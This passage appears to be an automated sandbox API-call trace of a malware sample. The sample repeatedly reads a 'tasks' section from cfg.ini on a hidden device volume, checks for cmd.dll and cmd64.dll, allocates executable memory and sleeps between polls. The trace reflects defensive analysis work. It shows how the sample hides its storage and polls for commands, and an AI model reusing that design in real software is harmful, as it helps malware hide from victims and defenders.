out: FastMutex=0xfffffa80027d3898) [0127.027] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.027] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.027] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.027] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.027] IdePortDispatch () returned 0x103 [0127.027] KeWaitForMutexObject () returned 0x0 [0127.027] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.027] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.028] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.028] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4dc0 [0127.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.028] KeLeaveCriticalRegion () [0127.028] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.028] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.028] KeEnterCriticalRegion () [0127.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.028] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.028] KeLeaveCriticalRegion () [0127.028] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.028] KeEnterCriticalRegion () [0127.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.028] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.028] IdePortDispatch () returned 0x103 [0127.028] KeWaitForMutexObject () returned 0x0 [0127.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.028] KeLeaveCriticalRegion () [0127.028] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.029] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.029] KeEnterCriticalRegion () [0127.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b50000 [0127.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.029] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.029] IdePortDispatch () returned 0x103 [0127.029] KeWaitForMutexObject () returned 0x0 [0127.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.029] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.029] IdePortDispatch () returned 0x103 [0127.030] KeWaitForMutexObject () returned 0x0 [0127.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.030] KeLeaveCriticalRegion () [0127.030] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.031] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.031] KeEnterCriticalRegion () [0127.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.031] KeLeaveCriticalRegion () [0127.031] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.031] KeEnterCriticalRegion () [0127.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.031] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.031] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.031] KeLeaveCriticalRegion () [0127.031] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.031] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.031] KeEnterCriticalRegion () [0127.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.031] ExFreePoolWithTag (P=0xfffffa8003bf4dc0, Tag=0x0) [0127.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.031] KeLeaveCriticalRegion () [0127.031] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.031] ReleaseMutex (hMutex=0xf0) returned 1 [0127.031] Sleep (dwMilliseconds=0x927c0) [0127.037] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.037] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.046] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.046] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.046] KeEnterCriticalRegion () [0127.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.046] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.046] IdePortDispatch () returned 0x103 [0127.046] KeWaitForMutexObject () returned 0x0 [0127.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.046] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.046] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.046] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.046] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.046] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5070 [0127.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.046] KeLeaveCriticalRegion () [0127.046] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.046] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.046] KeEnterCriticalRegion () [0127.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.047] KeLeaveCriticalRegion () [0127.047] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.047] KeEnterCriticalRegion () [0127.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.047] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.047] IdePortDispatch () returned 0x103 [0127.047] KeWaitForMutexObject () returned 0x0 [0127.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.047] KeLeaveCriticalRegion () [0127.047] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.047] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.047] KeEnterCriticalRegion () [0127.047] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.047] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b74000 [0127.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.047] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.047] IdePortDispatch () returned 0x103 [0127.048] KeWaitForMutexObject () returned 0x0 [0127.048] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.048] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.048] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.048] IdePortDispatch () returned 0x103 [0127.048] KeWaitForMutexObject () returned 0x0 [0127.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.048] KeLeaveCriticalRegion () [0127.048] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.049] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.049] KeEnterCriticalRegion () [0127.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.049] KeLeaveCriticalRegion () [0127.049] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.049] KeEnterCriticalRegion () [0127.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.049] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.049] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.049] KeLeaveCriticalRegion () [0127.049] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.049] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.049] KeEnterCriticalRegion () [0127.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.049] ExFreePoolWithTag (P=0xfffffa8003bf5070, Tag=0x0) [0127.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.049] KeLeaveCriticalRegion () [0127.049] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.049] ReleaseMutex (hMutex=0xf0) returned 1 [0127.050] Sleep (dwMilliseconds=0x927c0) [0127.061] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.061] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.061] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.061] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.061] KeEnterCriticalRegion () [0127.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.061] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.061] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.061] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.061] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.061] IdePortDispatch () returned 0x103 [0127.062] KeWaitForMutexObject () returned 0x0 [0127.062] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.062] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.062] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.062] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.062] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.062] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bface0 [0127.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.062] KeLeaveCriticalRegion () [0127.062] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.062] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.062] KeEnterCriticalRegion () [0127.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.062] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.062] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.062] KeLeaveCriticalRegion () [0127.062] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.062] KeEnterCriticalRegion () [0127.062] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.062] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.062] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.062] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.062] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.062] IdePortDispatch () returned 0x103 [0127.062] KeWaitForMutexObject () returned 0x0 [0127.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.063] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.063] KeLeaveCriticalRegion () [0127.063] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.063] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.063] KeEnterCriticalRegion () [0127.063] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.063] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b77000 [0127.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.063] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.063] IdePortDispatch () returned 0x103 [0127.063] KeWaitForMutexObject () returned 0x0 [0127.063] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.063] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.063] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.063] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.063] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.063] IdePortDispatch () returned 0x103 [0127.064] KeWaitForMutexObject () returned 0x0 [0127.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.064] KeLeaveCriticalRegion () [0127.064] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.064] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.064] KeEnterCriticalRegion () [0127.064] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.064] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.064] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.064] KeLeaveCriticalRegion () [0127.065] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.065] KeEnterCriticalRegion () [0127.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.065] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.065] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002adcf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.065] KeLeaveCriticalRegion () [0127.065] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.065] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.065] KeEnterCriticalRegion () [0127.065] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.065] ExFreePoolWithTag (P=0xfffffa8003bface0, Tag=0x0) [0127.065] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.065] KeLeaveCriticalRegion () [0127.065] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.065] ReleaseMutex (hMutex=0xf0) returned 1 [0127.065] Sleep (dwMilliseconds=0x927c0) [0127.084] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.084] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.084] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.084] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.084] KeEnterCriticalRegion () [0127.084] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.084] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.084] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.084] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.084] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.084] IdePortDispatch () returned 0x103 [0127.084] KeWaitForMutexObject () returned 0x0 [0127.084] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.084] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.084] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.084] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.084] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.084] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037df310 [0127.084] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.084] KeLeaveCriticalRegion () [0127.084] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.084] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.085] KeEnterCriticalRegion () [0127.085] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.085] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.085] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.085] KeLeaveCriticalRegion () [0127.085] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.085] KeEnterCriticalRegion () [0127.085] ExAcquireFastMutexUnsafe (in: 